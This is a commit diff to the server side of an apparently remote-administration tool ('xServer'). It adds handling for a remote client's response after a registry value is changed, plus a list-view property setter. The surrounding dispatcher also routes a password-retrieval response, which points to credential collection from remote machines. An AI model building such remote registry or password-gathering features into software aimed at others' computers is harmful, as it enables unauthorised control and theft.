Added server code for handling the response to a registry value modification.

This commit is contained in:
StingRaptor 2016-01-27 09:54:01 +01:00
parent faa8e870d2
commit dc7b85dc4a
3 changed files with 34 additions and 1 deletions

View File

@ -26,6 +26,7 @@ internal class RegistryValueLstItem : ListViewItem
{
private string _regName { get; set; }
private string _type { get; set; }
private string _data { get; set; }
public string RegName {
get { return _regName; }
@ -45,7 +46,15 @@ internal class RegistryValueLstItem : ListViewItem
}
}
public string Data { get; set; }
public string Data {
get { return _data; }
set
{
//Temp solution
this.SubItems[2].Text = value;
_data = value;
}
}
public RegistryValueLstItem(string name, string type, string data) :
base()

View File

@ -153,6 +153,26 @@ public static void HandleRenameRegistryValue(xServer.Core.Packets.ClientPackets.
catch { }
}
public static void HandleChangeRegistryValue(xServer.Core.Packets.ClientPackets.GetChangeRegistryValueResponse packet, Client client)
{
try
{
// Make sure that the client is in the correct state to handle the packet appropriately.
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
{
if (!packet.IsError)
{
client.Value.FrmRe.ChangeValueFromList(packet.KeyPath, packet.Value);
}
else
{
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
}
}
}
catch { }
}
#endregion
}
}

View File

@ -94,6 +94,10 @@ public static void HandlePacket(Client client, IPacket packet)
{
CommandHandler.HandleRenameRegistryValue((ClientPackets.GetRenameRegistryValueResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetChangeRegistryValueResponse))
{
CommandHandler.HandleChangeRegistryValue((ClientPackets.GetChangeRegistryValueResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetPasswordsResponse))
{
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);